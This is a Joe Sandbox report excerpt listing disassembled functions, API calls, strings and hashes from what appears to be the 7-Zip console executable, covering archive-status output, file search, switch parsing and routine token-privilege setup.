                                                                                                                                                                                                                                                                    control_flow_graph 2113 c57e33-c57e58 GetCurrentProcess OpenProcessToken 2114 c57eb0 2113->2114 2115 c57e5a-c57e6a LookupPrivilegeValueW 2113->2115 2118 c57eb3-c57eb8 2114->2118 2116 c57ea2 2115->2116 2117 c57e6c-c57e90 AdjustTokenPrivileges 2115->2117 2120 c57ea5-c57eae CloseHandle 2116->2120 2117->2116 2119 c57e92-c57ea0 GetLastError 2117->2119 2119->2120 2120->2118
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • GetCurrentProcess.KERNEL32(00000020,00C5B957,?,00000000,?,?,?,?,00C5B957,00C5B822), ref: 00C57E49
                                                                                                                                                                                                                                                                    • OpenProcessToken.ADVAPI32(00000000,?,?,?,?,00C5B957,00C5B822), ref: 00C57E50
                                                                                                                                                                                                                                                                    • LookupPrivilegeValueW.ADVAPI32(00000000,SeRestorePrivilege,?), ref: 00C57E62
                                                                                                                                                                                                                                                                    • AdjustTokenPrivileges.KERNELBASE(00C5B957,00000000,?,00000000,00000000,00000000), ref: 00C57E88
                                                                                                                                                                                                                                                                    • GetLastError.KERNEL32 ref: 00C57E92
                                                                                                                                                                                                                                                                    • CloseHandle.KERNELBASE(00C5B957,?,?,?,?,00C5B957,00C5B822), ref: 00C57EA8
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: ProcessToken$AdjustCloseCurrentErrorHandleLastLookupOpenPrivilegePrivilegesValue
                                                                                                                                                                                                                                                                    • String ID: SeRestorePrivilege
                                                                                                                                                                                                                                                                    • API String ID: 3398352648-1684392131
                                                                                                                                                                                                                                                                    • Opcode ID: 3db34641ec0ebfed004253e0e42bc2fb10ed662251540e2c4df38a2c221b649c
                                                                                                                                                                                                                                                                    • Instruction ID: 0f8afcc7f05d090d4d8e1ffe6866d7ed657bfcab5e4cb0d88c423d89049f96de
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 3db34641ec0ebfed004253e0e42bc2fb10ed662251540e2c4df38a2c221b649c
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: AC016D79945218AFDB205BF2AC4ABDF7F7CEF06201F040194A942E2150DBB59A8DDBB4
                                                                                                                                                                                                                                                                    Function 00C5D4AA Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 53COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                                                                                                    • Executed
                                                                                                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                                                                                                    control_flow_graph 2121 c5d4aa-c5d4e0 call c836f0 GetCurrentProcess call c5d548 OpenProcessToken 2126 c5d527-c5d542 call c5d548 2121->2126 2127 c5d4e2-c5d502 LookupPrivilegeValueW 2121->2127 2127->2126 2128 c5d504-c5d517 AdjustTokenPrivileges 2127->2128 2128->2126 2130 c5d519-c5d525 GetLastError 2128->2130 2130->2126
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • __EH_prolog.LIBCMT ref: 00C5D4AF
                                                                                                                                                                                                                                                                    • GetCurrentProcess.KERNEL32(?,00000000,?,?,00000000,00000000,76368E30), ref: 00C5D4C1
                                                                                                                                                                                                                                                                    • OpenProcessToken.ADVAPI32(00000000,00000028,?,?,00000000,?,?,00000000,00000000,76368E30), ref: 00C5D4D8
                                                                                                                                                                                                                                                                    • LookupPrivilegeValueW.ADVAPI32(00000000,SeSecurityPrivilege,?), ref: 00C5D4FA
                                                                                                                                                                                                                                                                    • AdjustTokenPrivileges.KERNELBASE(?,00000000,00000001,00000000,00000000,00000000,?,00000000,?,?,00000000,00000000,76368E30), ref: 00C5D50F
                                                                                                                                                                                                                                                                    • GetLastError.KERNEL32(?,00000000,?,?,00000000,00000000,76368E30), ref: 00C5D519
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: ProcessToken$AdjustCurrentErrorH_prologLastLookupOpenPrivilegePrivilegesValue
                                                                                                                                                                                                                                                                    • String ID: SeSecurityPrivilege
                                                                                                                                                                                                                                                                    • API String ID: 3475889169-2333288578
                                                                                                                                                                                                                                                                    • Opcode ID: f582c44bd0a10c2be2d7c19117c8acd4ffc86162c93ebd8565395291ee98dcc1
                                                                                                                                                                                                                                                                    • Instruction ID: cbe5e5b14b00de7a2c9cbcfdb1b1831e647f7bb45067914d1537e38cec61b5db
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: f582c44bd0a10c2be2d7c19117c8acd4ffc86162c93ebd8565395291ee98dcc1
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 281112B59412199FDB20DFA4CC85BFEB77CFB04745F804529E813E2590DB748A0C9B25
                                                                                                                                                                                                                                                                    Function 00C55869 Relevance: 4.6, APIs: 3, Instructions: 60fileCOMMON
                                                                                                                                                                                                                                                                    Download Yara Rule
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • __EH_prolog.LIBCMT ref: 00C5586E
                                                                                                                                                                                                                                                                      • Part of subcall function 00C55849: FindClose.KERNELBASE(00000000,?,00C55881), ref: 00C55854
                                                                                                                                                                                                                                                                    • FindFirstFileW.KERNELBASE(?,?,00000001,00000000), ref: 00C558A6
                                                                                                                                                                                                                                                                    • FindFirstFileW.KERNELBASE(?,?,00000000,00000001,00000000), ref: 00C558DF
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: Find$FileFirst$CloseH_prolog
                                                                                                                                                                                                                                                                    • String ID:
                                                                                                                                                                                                                                                                    • API String ID: 3371352514-0
                                                                                                                                                                                                                                                                    • Opcode ID: f7aeb01130975b8f30c8fdde67778a185ae042d2713a9e32cdcc30760c311f6f
                                                                                                                                                                                                                                                                    • Instruction ID: f50f312f8d2b017986a0ea640255df7b8e6b2de2ed950298567af4f8994a7754
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: f7aeb01130975b8f30c8fdde67778a185ae042d2713a9e32cdcc30760c311f6f
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 8611D035400609DFDB10EF64C8A19BDB7B8EF14325F100258EDA1571D1DB325ECAEB44
                                                                                                                                                                                                                                                                    Function 00C7EBBC Relevance: 56.7, APIs: 15, Strings: 17, Instructions: 694COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                                                                                                    • Executed
                                                                                                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                                                                                                    control_flow_graph 0 c7ebbc-c7ebc3 1 c7ef24-c7f0e8 call c5150c * 2 call c51a52 0->1 2 c7ebc9-c7ebd6 call c5b642 0->2 45 c7f0f5 1->45 46 c7f0ea-c7f0f3 call c7fe85 1->46 8 c7ede3-c7edea 2->8 9 c7ebdc-c7ebe3 2->9 13 c7ef11-c7ef1f call c8031c 8->13 14 c7edf0-c7ee02 call c8027b 8->14 11 c7ebe5-c7ebeb 9->11 12 c7ebfd-c7ec32 call c7dd06 9->12 11->12 16 c7ebed-c7ebf8 call c52b46 11->16 28 c7ec34-c7ec3a 12->28 29 c7ec42 12->29 30 c7f7fe-c7f805 13->30 25 c7ee04-c7ee08 14->25 26 c7ee0e-c7eea5 call c6c7b3 call c522eb call c6a711 call c7fb17 call c523c9 14->26 16->12 25->26 88 c7eea7 26->88 89 c7eead-c7ef0c call c80461 call c80d45 call c51a79 * 2 call c802e9 26->89 28->29 33 c7ec3c-c7ec40 28->33 34 c7ec46-c7ec87 call c52a48 call c800e4 29->34 35 c7f807-c7f80e 30->35 36 c7f815-c7f841 call c80723 call c51a79 call c69c9d 30->36 33->34 62 c7ec93-c7eca3 34->62 63 c7ec89-c7ec8d 34->63 35->36 41 c7f810 call c8073e 35->41 72 c7f843 call c6bbcb 36->72 73 c7f848-c7f892 call c7fa24 call c511bb call c80b30 call c80d45 36->73 41->36 51 c7f0f7-c7f100 45->51 46->51 56 c7f102-c7f104 51->56 57 c7f108-c7f165 call c52a48 call c80004 51->57 56->57 80 c7f167-c7f16b 57->80 81 c7f171-c7f203 call c7faa2 call c80c65 call c5d13d call c528a5 57->81 64 c7ecb6 62->64 65 c7eca5-c7ecab 62->65 63->62 71 c7ecbd-c7ed5a call c52a48 call c6c7b3 call c7fb17 call c74aa2 64->71 65->64 70 c7ecad-c7ecb4 65->70 70->71 113 c7ed5c-c7ed64 call c81554 71->113 114 c7ed69-c7ed72 71->114 72->73 80->81 122 c7f276-c7f2ca call c68bc9 81->122 123 c7f205-c7f270 call c6a15e call c80723 81->123 88->89 89->30 113->114 118 c7ed74 114->118 119 c7ed7a-c7ed97 call c80461 114->119 118->119 124 c7ed9c-c7edde call c80d45 call c51a79 call c80cab call c51a79 call c814bb 119->124 133 c7f2d6-c7f2d9 122->133 134 c7f2cc-c7f2d1 call c81554 122->134 123->122 124->30 139 c7f322-c7f32e 133->139 140 c7f2db-c7f2e2 133->140 134->133 141 c7f392-c7f39e 139->141 142 c7f330-c7f33e call c51c6a 139->142 144 c7f316-c7f319 140->144 145 c7f2e4-c7f311 call c51c6a fputs call c51c6a call c51c7d call c51c6a 140->145 146 c7f3a0-c7f3a6 141->146 147 c7f3cd-c7f3d9 141->147 159 c7f340-c7f347 142->159 160 c7f349-c7f38d fputs call c51f03 call c51c6a fputs call c51f03 call c51c6a 142->160 144->139 148 c7f31b 144->148 145->144 146->147 152 c7f3a8-c7f3c8 fputs call c51f03 call c51c6a 146->152 154 c7f40c-c7f40e 147->154 155 c7f3db-c7f3e1 147->155 148->139 152->147 162 c7f48d-c7f499 154->162 165 c7f410-c7f41f 154->165 161 c7f3e7-c7f407 fputs call c51f03 call c51c6a 155->161 155->162 159->141 159->160 160->141 161->154 169 c7f4dd-c7f4e1 162->169 170 c7f49b-c7f4a1 162->170 173 c7f445-c7f451 165->173 174 c7f421-c7f440 fputs call c51f03 call c51c6a 165->174 176 c7f4e3 169->176 177 c7f4ea-c7f4ec 169->177 170->176 181 c7f4a3-c7f4b6 call c51c6a 170->181 173->162 175 c7f453-c7f466 call c51c6a 173->175 174->173 175->162 202 c7f468-c7f488 fputs call c51f03 call c51c6a 175->202 176->177 186 c7f6a3-c7f6dc call c6addf call c51a79 call c80e8e call c51a79 177->186 187 c7f4f2-c7f4fe 177->187 181->176 207 c7f4b8-c7f4d8 fputs call c51f03 call c51c6a 181->207 244 c7f7e6-c7f7f5 call c80d45 186->244 245 c7f6e2-c7f6e8 186->245 197 c7f667-c7f67d call c51c6a 187->197 198 c7f504-c7f513 187->198 197->186 214 c7f67f-c7f69e fputs call c51f03 call c51c6a 197->214 198->197 204 c7f519-c7f51d 198->204 202->162 204->186 210 c7f523-c7f531 204->210 207->169 218 c7f533-c7f558 fputs call c51f03 call c51c6a 210->218 219 c7f55e-c7f565 210->219 214->186 218->219 226 c7f567-c7f56e 219->226 227 c7f583-c7f5b1 fputs call c51f03 call c51c6a 219->227 226->227 228 c7f570-c7f576 226->228 238 c7f5fa-c7f64f fputs call c51f03 call c51c6a fputs call c51f03 call c51c6a 227->238 248 c7f5b3-c7f5f5 fputs call c51f03 call c51c6a fputs call c51f03 call c51c6a 227->248 228->227 233 c7f578-c7f581 228->233 233->227 233->238 238->186 264 c7f651-c7f665 call c51c6a call c7ba94 238->264 244->30 254 c7f7f9 call c80d45 244->254 245->244 248->238 254->30 264->186
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: fputs$ExceptionThrow
                                                                                                                                                                                                                                                                    • String ID: F:v$7zCon.sfx$Alternate Streams Size: $Alternate Streams: $Archives with Errors: $Archives with Warnings: $Archives: $Can't open as archive: $Compressed: $ERROR:$Files: $Folders: $OK archives: $Open Errors: $Size: $Sub items Errors: $Warnings:
                                                                                                                                                                                                                                                                    • API String ID: 3665150552-3848616630
                                                                                                                                                                                                                                                                    • Opcode ID: d139a1a4466792c6310bf6912f616ebb64434e5b5241fe77fbded56378627acb
                                                                                                                                                                                                                                                                    • Instruction ID: fda8ebd75660b4b8bd55ff700128f0643883d852a7aa7459cda518455f681984
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: d139a1a4466792c6310bf6912f616ebb64434e5b5241fe77fbded56378627acb
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: F5628A71904258DFCF26EBA4C895BEDBBB5BF44304F14809AE41A63291DB706F89EF14
                                                                                                                                                                                                                                                                    Function 00C7E324 Relevance: 51.5, APIs: 19, Strings: 10, Instructions: 728COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                                                                                                    • Executed
                                                                                                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                                                                                                    control_flow_graph 270 c7e324-c7e34c call c8036e call c5b99e 275 c7e34e-c7e35a 270->275 276 c7e35c 270->276 275->276 277 c7e35f-c7e368 275->277 276->277 278 c7e36a-c7e37f GetStdHandle GetConsoleScreenBufferInfo 277->278 279 c7e388-c7e3fe call c51a52 call c7f89f call c80c0e call c59094 * 2 call c6bbf8 277->279 278->279 280 c7e381-c7e385 278->280 294 c7e403-c7e41b call c80723 call c5b61e 279->294 280->279 299 c7e41d-c7e41f 294->299 300 c7e48b-c7e4b7 call c72ce1 294->300 301 c7e421-c7e428 299->301 302 c7e439-c7e43c 299->302 308 c7e4cf-c7e4ed 300->308 309 c7e4b9-c7e4ca _CxxThrowException 300->309 301->302 304 c7e42a-c7e437 call c5b642 301->304 305 c7e475-c7e486 _CxxThrowException 302->305 306 c7e43e-c7e470 call c5292b call c52c2d call c52978 _CxxThrowException 302->306 304->300 304->302 305->300 306->305 312 c7e4ef-c7e513 call c6c1a3 308->312 313 c7e549-c7e54d 308->313 309->308 325 c7e68c-c7e69d _CxxThrowException 312->325 326 c7e519-c7e51d 312->326 318 c7e561-c7e56e call c58703 call c80723 313->318 319 c7e54f-c7e556 313->319 328 c7e573-c7e58f 318->328 319->318 322 c7e558-c7e55f 319->322 322->318 322->328 333 c7e6a2 325->333 326->325 331 c7e523-c7e547 call c80d7a call c51a79 326->331 334 c7e596-c7e5c2 call c51c6a fputs call c51c6a 328->334 335 c7e591 328->335 331->312 331->313 337 c7e6a4-c7e6ba 333->337 350 c7e5c4-c7e5ff call c80406 fputc call c51c7d call c51c6a 334->350 351 c7e601-c7e637 call c51c6a fputs call c51c6a strlen 334->351 335->334 343 c7e6bc-c7e6ec call c80433 call c528a5 337->343 344 c7e678-c7e682 337->344 372 c7e6ee-c7e6f2 343->372 373 c7e74b-c7e763 call c80433 343->373 344->333 348 c7e684-c7e68a 344->348 348->337 350->351 363 c7e860-c7e888 call c51c6a fputs call c51c6a 351->363 364 c7e63d-c7e676 call c80406 fputc 351->364 383 c7e931-c7e940 363->383 384 c7e88e 363->384 364->343 364->344 376 c7e6f4-c7e6f7 call c52bb2 372->376 377 c7e6fc-c7e718 call c52c2d 372->377 393 c7e786-c7e78e 373->393 394 c7e765-c7e785 fputs call c51eda 373->394 376->377 388 c7e740-c7e749 377->388 389 c7e71a-c7e73b call c52c69 call c52c2d call c51089 377->389 399 c7ea26-c7ea4e call c51c6a fputs call c51c6a 383->399 400 c7e946-c7e94b 383->400 386 c7e895-c7e8aa call c80406 384->386 406 c7e8b6-c7e8b9 call c51eda 386->406 407 c7e8ac-c7e8b4 386->407 388->372 388->373 389->388 396 c7e794-c7e798 393->396 397 c7e83a-c7e85a call c51c6a call c51a79 393->397 394->393 404 c7e79a-c7e7a8 fputs 396->404 405 c7e7a9-c7e7bd 396->405 397->363 397->364 432 c7eab5-c7eac8 399->432 433 c7ea50 399->433 400->399 409 c7e951-c7e96f call c6c3ec call c80406 call c6c42b 400->409 404->405 413 c7e7bf-c7e7c3 405->413 414 c7e82b-c7e834 405->414 423 c7e8be-c7e92b call c80b08 fputs call c51c6a 406->423 407->423 448 c7e971-c7e979 409->448 449 c7e97b-c7e97e call c51eda 409->449 420 c7e7c5-c7e7cf 413->420 421 c7e7d0-c7e7da 413->421 414->396 414->397 420->421 428 c7e7e0-c7e7ec 421->428 429 c7e7dc-c7e7de 421->429 423->383 423->386 436 c7e7f3 428->436 437 c7e7ee-c7e7f1 428->437 429->428 435 c7e813-c7e829 429->435 450 c7f7fe-c7f805 432->450 451 c7eace-c7eb48 call c6c3fc call c80406 call c6c66a call c8039f call c6c57c call c80b08 call c6c5e1 fputs call c51c6a call c51a79 432->451 440 c7ea57-c7eab3 call c80406 call c8039f call c80b08 fputs call c51c6a 433->440 435->413 435->414 441 c7e7f6-c7e809 436->441 437->441 440->432 454 c7e810 441->454 455 c7e80b-c7e80e 441->455 465 c7e983-c7e9cf call c6c41a call c6c409 call c6c48e 448->465 449->465 459 c7f807-c7f80e 450->459 460 c7f815-c7f841 call c80723 call c51a79 call c69c9d 450->460 533 c7eb4a 451->533 454->435 455->435 459->460 468 c7f810 call c8073e 459->468 491 c7f843 call c6bbcb 460->491 492 c7f848-c7f892 call c7fa24 call c511bb call c80b30 call c80d45 460->492 515 c7e9d1-c7e9d5 465->515 516 c7e9d9-c7ea20 call c80b08 call c6c4f7 fputs call c51c6a call c51a79 465->516 468->460 491->492 515->516 516->399 516->409 533->450
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                      • Part of subcall function 00C8036E: fputs.MSVCRT ref: 00C80387
                                                                                                                                                                                                                                                                      • Part of subcall function 00C8036E: fputs.MSVCRT ref: 00C80397
                                                                                                                                                                                                                                                                      • Part of subcall function 00C5B99E: _CxxThrowException.MSVCRT(?,00C8DE50), ref: 00C5B9D2
                                                                                                                                                                                                                                                                      • Part of subcall function 00C5B99E: _CxxThrowException.MSVCRT(?,00C8DE50), ref: 00C5BA09
                                                                                                                                                                                                                                                                      • Part of subcall function 00C5B99E: wcscmp.MSVCRT ref: 00C5BA77
                                                                                                                                                                                                                                                                    • GetStdHandle.KERNEL32(000000F5,?,?), ref: 00C7E370
                                                                                                                                                                                                                                                                    • GetConsoleScreenBufferInfo.KERNELBASE(00000000), ref: 00C7E377
                                                                                                                                                                                                                                                                    • _CxxThrowException.MSVCRT(?,00C919D0), ref: 00C7E470
                                                                                                                                                                                                                                                                    • _CxxThrowException.MSVCRT(?,00C8DA10), ref: 00C7E486
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
                                                                                                                                                                                                                                                                    • Snapshot File: hcaresult_10_2_c50000_7z.jbxd
                                                                                                                                                                                                                                                                    Similarity
                                                                                                                                                                                                                                                                    • API ID: ExceptionThrow$fputs$BufferConsoleHandleInfoScreenwcscmp
                                                                                                                                                                                                                                                                    • String ID: || $ F:v$Can't load module: $Codecs:$Formats:$Hashers:$KSNFMGOPBELH$Libs:$offset=$U(
                                                                                                                                                                                                                                                                    • API String ID: 3991676522-1641841534
                                                                                                                                                                                                                                                                    • Opcode ID: 0de58aeacf171a14e94e1399e6c53cdb578b759552285bf68e49701e7974936c
                                                                                                                                                                                                                                                                    • Instruction ID: 4aeb907c9694abd9a164ed57e3a6e97ef789256fdb3f422e49fcdd7eef1de553
                                                                                                                                                                                                                                                                    • Opcode Fuzzy Hash: 0de58aeacf171a14e94e1399e6c53cdb578b759552285bf68e49701e7974936c
                                                                                                                                                                                                                                                                    • Instruction Fuzzy Hash: 1842D131900208DFDF14EFA4C886BADBBB5FF48304F24409AF455A7292CB349A89DF65
                                                                                                                                                                                                                                                                    Function 00C5B658 Relevance: 33.5, APIs: 14, Strings: 5, Instructions: 230COMMON
                                                                                                                                                                                                                                                                    Download Yara Rule

                                                                                                                                                                                                                                                                    Control-flow Graph

                                                                                                                                                                                                                                                                    • Executed
                                                                                                                                                                                                                                                                    • Not Executed
                                                                                                                                                                                                                                                                    control_flow_graph 1253 c5b658-c5b67b call c836f0 call c513e5 1258 c5b67d-c5b694 call c688fe _CxxThrowException 1253->1258 1259 c5b699-c5b6f6 _fileno _isatty _fileno _isatty _fileno _isatty 1253->1259 1258->1259 1261 c5b706-c5b708 1259->1261 1262 c5b6f8-c5b6fb 1259->1262 1265 c5b709-c5b744 1261->1265 1262->1261 1264 c5b6fd-c5b700 1262->1264 1264->1261 1266 c5b702-c5b704 1264->1266 1267 c5b746-c5b749 1265->1267 1268 c5b750 1265->1268 1266->1265 1267->1268 1269 c5b74b-c5b74e 1267->1269 1270 c5b756-c5b759 1268->1270 1269->1268 1269->1270 1271 c5b761-c5b76a 1270->1271 1272 c5b75b 1270->1272 1273 c5b775-c5b77e 1271->1273 1274 c5b76c-c5b76f 1271->1274 1272->1271 1275 c5b780-c5b783 1273->1275 1276 c5b789-c5b792 1273->1276 1274->1273 1275->1276 1277 c5b794-c5b797 1276->1277 1278 c5b79d-c5b7a2 1276->1278 1277->1278 1279 c5b7a4-c5b7b2 1278->1279 1280 c5b7f9-c5b801 1278->1280 1283 c5b7b4-c5b7be 1279->1283 1284 c5b7c0-c5b7ce call c5b963 1279->1284 1281 c5b803-c5b81a 1280->1281 1282 c5b81d call c5b94b 1280->1282 1281->1282 1287 c5b822-c5b82a 1282->1287 1283->1280 1291 c5b7f0-c5b7f3 1284->1291 1292 c5b7d0-c5b7eb call c688fe _CxxThrowException 1284->1292 1289 c5b867-c5b86f 1287->1289 1290 c5b82c-c5b83a 1287->1290 1296 c5b875-c5b880 1289->1296 1297 c5b93a-c5b948 1289->1297 1293 c5b840 1290->1293 1294 c5b8dc-c5b8ee wcscmp 1290->1294 1291->1280 1292->1291 1299 c5b847-c5b84f call c57eb9 1293->1299 1294->1299 1301 c5b8f4-c5b900 call c5b963 1294->1301 1296->1297 1298 c5b886-c5b89e call c522eb call c5241a 1296->1298 1315 c5b8a0-c5b8b0 call c53327 1298->1315 1316 c5b8bf-c5b8d7 call c688fe _CxxThrowException 1298->1316 1299->1289 1310 c5b851-c5b862 call c830e0 call c57e33 1299->1310 1301->1299 1308 c5b906-c5b91e call c688fe _CxxThrowException 1301->1308 1318 c5b923-c5b939 GetCurrentProcess SetProcessAffinityMask call c51a79 1308->1318 1310->1289 1327 c5b8b2-c5b8b8 1315->1327 1328 c5b8ba-c5b8bd 1315->1328 1316->1294 1318->1297 1327->1328 1328->1316 1328->1318
                                                                                                                                                                                                                                                                    APIs
                                                                                                                                                                                                                                                                    • __EH_prolog.LIBCMT ref: 00C5B65D
                                                                                                                                                                                                                                                                      • Part of subcall function 00C513E5: __EH_prolog.LIBCMT ref: 00C513EA
                                                                                                                                                                                                                                                                    • _CxxThrowException.MSVCRT(?,00C8DE50), ref: 00C5B694
                                                                                                                                                                                                                                                                    • _fileno.MSVCRT ref: 00C5B6A5
                                                                                                                                                                                                                                                                    • _isatty.MSVCRT ref: 00C5B6A8
                                                                                                                                                                                                                                                                    • _fileno.MSVCRT ref: 00C5B6C2
                                                                                                                                                                                                                                                                    • _isatty.MSVCRT ref: 00C5B6C5
                                                                                                                                                                                                                                                                    • _fileno.MSVCRT ref: 00C5B6DC
                                                                                                                                                                                                                                                                    • _CxxThrowException.MSVCRT(?,00C8DE50), ref: 00C5B7EB
                                                                                                                                                                                                                                                                    • _isatty.MSVCRT ref: 00C5B6DF
                                                                                                                                                                                                                                                                      • Part of subcall function 00C688FE: __EH_prolog.LIBCMT ref: 00C68903
                                                                                                                                                                                                                                                                    • _CxxThrowException.MSVCRT(?,00C8DE50), ref: 00C5B8D7
                                                                                                                                                                                                                                                                    • wcscmp.MSVCRT ref: 00C5B8E4
                                                                                                                                                                                                                                                                    • _CxxThrowException.MSVCRT(?,00C8DE50), ref: 00C5B91E
                                                                                                                                                                                                                                                                    • GetCurrentProcess.KERNEL32(00000000,?), ref: 00C5B924
                                                                                                                                                                                                                                                                    • SetProcessAffinityMask.KERNEL32(00000000), ref: 00C5B92B
                                                                                                                                                                                                                                                                    Strings
                                                                                                                                                                                                                                                                    • Unsupported switch postfix -stm, xrefs: 00C5B8C4
                                                                                                                                                                                                                                                                    • Unsupported switch postfix for -slp, xrefs: 00C5B90B
                                                                                                                                                                                                                                                                    • @46v, xrefs: 00C5B69F
                                                                                                                                                                                                                                                                    • Unsupported switch postfix -bb, xrefs: 00C5B7D8
                                                                                                                                                                                                                                                                    • SeLockMemoryPrivilege, xrefs: 00C5B858
                                                                                                                                                                                                                                                                    Memory Dump Source
                                                                                                                                                                                                                                                                    • Source File: 0000000A.00000002.2210201294.0000000000C51000.00000020.00000001.01000000.00000007.sdmp, Offset: 00C50000, based on PE: true
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210183498.0000000000C50000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210230957.0000000000C88000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210251965.0000000000C94000.00000004.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    • Associated: 0000000A.00000002.2210308356.0000000000C98000.00000002.00000001.01000000.00000007.sdmpDownload File
                                                                                                                                                                                                                                                                    Joe Sandbox IDA Plugin
